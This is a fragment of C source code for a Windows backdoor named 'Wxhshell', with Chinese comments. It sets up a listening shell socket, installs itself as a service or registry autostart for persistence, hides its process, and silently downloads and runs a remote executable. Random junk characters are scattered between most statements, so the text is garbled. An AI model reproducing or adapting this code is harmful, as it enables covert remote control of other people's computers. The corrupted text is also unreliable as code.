F-?M! ?FxxH*>" CloseHandle(hProcess); :k#Y|( }qRYXjS hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bR(rZu5 if(hProcess==NULL) return 0; YOy/'Le^: vaW,O/F HMODULE hMod; N.l+9L0b char procName[255]; 7&qunK' unsigned long cbNeeded; KYZ/b8C }PUQvIGZZ& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m6bAvy]3<t = ;4cDmZh CloseHandle(hProcess); \IQf| A7C+-N if(strstr(procName,"services")) return 1; // 以服务启动
T32C=7 +' QX` return 0; // 注册表启动 N[~RWg } )\8l6Gw Dqs{n?@n // 主模块 $_onSYWr int StartWxhshell(LPSTR lpCmdLine) %@Bl,!BJ, { X3P~z8_ SOCKET wsl; !"Jne'f BOOL val=TRUE; RQ;pAO int port=0; lQ
{k struct sockaddr_in door; <j+DY@* 1kEXTs=, if(wscfg.ws_autoins) Install(); IVjH.BzH9 x* ?-KS| port=atoi(lpCmdLine); Rt} H.D
# zW+X5yK if(port<=0) port=wscfg.ws_port; m0DD|7}+ _
fJ5z WSADATA data; _0Qp[l-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2v\,sHw+- `q@5d&d`j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @GNNi?EY setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i7_Nv door.sin_family = AF_INET; 1Rg tZp% door.sin_addr.s_addr = inet_addr("127.0.0.1"); D2z" Z@ door.sin_port = htons(port); O/Ub{=g G:7HL5u if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ry)g<OA closesocket(wsl); ?Z9C}t] return 1; _bRd2k, } DO`
K_B ?%-VSL>$w= if(listen(wsl,2) == INVALID_SOCKET) { Up*1j:_O closesocket(wsl); Xn@\p5< return 1; I|8'#QX } 7Ko<,Kp2b Wxhshell(wsl); _4Z|O] WSACleanup(); `K5Lp>=R -FftEeo7 return 0; /
VypN, t.Q}V5t{g } }tJRBb oM\b>* // 以NT服务方式启动 Hz~?"ts@; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yz7H@Y2i { .,[NJ:l DWORD status = 0; g^ .g9" DWORD specificError = 0xfffffff; @`t#Bi9 &.^(,pt serviceStatus.dwServiceType = SERVICE_WIN32; 7~& serviceStatus.dwCurrentState = SERVICE_START_PENDING; r*_z<^d serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bp&7:snGt serviceStatus.dwWin32ExitCode = 0; IC"lsNq52 serviceStatus.dwServiceSpecificExitCode = 0; r:;nv D serviceStatus.dwCheckPoint = 0; 2MY-9(no serviceStatus.dwWaitHint = 0; F/O5Z?C? kd55y hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qV]p\/a. if (hServiceStatusHandle==0) return; E0HXB1"
ja !K2^ status = GetLastError(); oE/g)m% if (status!=NO_ERROR) ),cozN=NM { @ByD= serviceStatus.dwCurrentState = SERVICE_STOPPED; RBuerap serviceStatus.dwCheckPoint = 0; B\^myg4 serviceStatus.dwWaitHint = 0; )c*NS7D~f serviceStatus.dwWin32ExitCode = status; 0APh=Alq serviceStatus.dwServiceSpecificExitCode = specificError; ^i+ d 3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); p6S{OUiG return; |y%pJdPk= } W3Gg<!*Uo zy8Z68%E`* serviceStatus.dwCurrentState = SERVICE_RUNNING; fL$U%I3 serviceStatus.dwCheckPoint = 0; 8`g@
)]Iy serviceStatus.dwWaitHint = 0; *ay&&S* if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &k53*Wo } Bk)E]Fk| ?OjZb'+=K // 处理NT服务事件,比如:启动、停止 skaPC#u VOID WINAPI NTServiceHandler(DWORD fdwControl) k|uW~I) { 80m<OW1 switch(fdwControl) ;[nomxu|? { vNWCv case SERVICE_CONTROL_STOP: X 8/9x-E_ serviceStatus.dwWin32ExitCode = 0; 2><=U7~ serviceStatus.dwCurrentState = SERVICE_STOPPED; oyw*Z_ 9~ serviceStatus.dwCheckPoint = 0; X%X`o%AqC serviceStatus.dwWaitHint = 0; =:fN { U~3uu&/r SetServiceStatus(hServiceStatusHandle, &serviceStatus); l 7T@<V } j(xVbUa return; Budo9z_w case SERVICE_CONTROL_PAUSE: mM#[XKOC< serviceStatus.dwCurrentState = SERVICE_PAUSED; 6&9}M Oc break; etw.l~y case SERVICE_CONTROL_CONTINUE: K%jh6c8 serviceStatus.dwCurrentState = SERVICE_RUNNING; vM3 b\yp break; OkNBP0e} case SERVICE_CONTROL_INTERROGATE: 78~;j1^6u break; =`st1K }; Xmb001 SetServiceStatus(hServiceStatusHandle, &serviceStatus); s2f6;Yc } %m/W4Nk }R&5Ye // 标准应用程序主函数 -tPia=^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p[LPi5 { s2Rg-:7 @"h@4q/W // 获取操作系统版本 !=)b2}e/> OsIsNt=GetOsVer(); [[XbKg`"? GetModuleFileName(NULL,ExeFile,MAX_PATH); f[ 'uka.U `/"*_AKAI // 从命令行安装 57|RE5]|! if(strpbrk(lpCmdLine,"iI")) Install(); 1ze\ U> }+@GgipyO. // 下载执行文件 2/dvCt6 N if(wscfg.ws_downexe) { #jqcUno if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M7`iAa.} WinExec(wscfg.ws_filenam,SW_HIDE); B0+r } Z>l%:;H 1Zo"Xb if(!OsIsNt) { 8pXului // 如果时win9x,隐藏进程并且设置为注册表启动 9cqq"-$G` HideProc(); 2%Mgg,/~ StartWxhshell(lpCmdLine); $-w&<U$E } "7z1V{ ;Y else /_(q7:<ZF if(StartFromService()) w;p~|! // 以服务方式启动 alp}p StartServiceCtrlDispatcher(DispatchTable); P->.eo#VG else p)e?0m26 // 普通方式启动 .P:mYC StartWxhshell(lpCmdLine); w<|Qezi3
w K@<%Vc>L( return 0; 3;%dn\
D }
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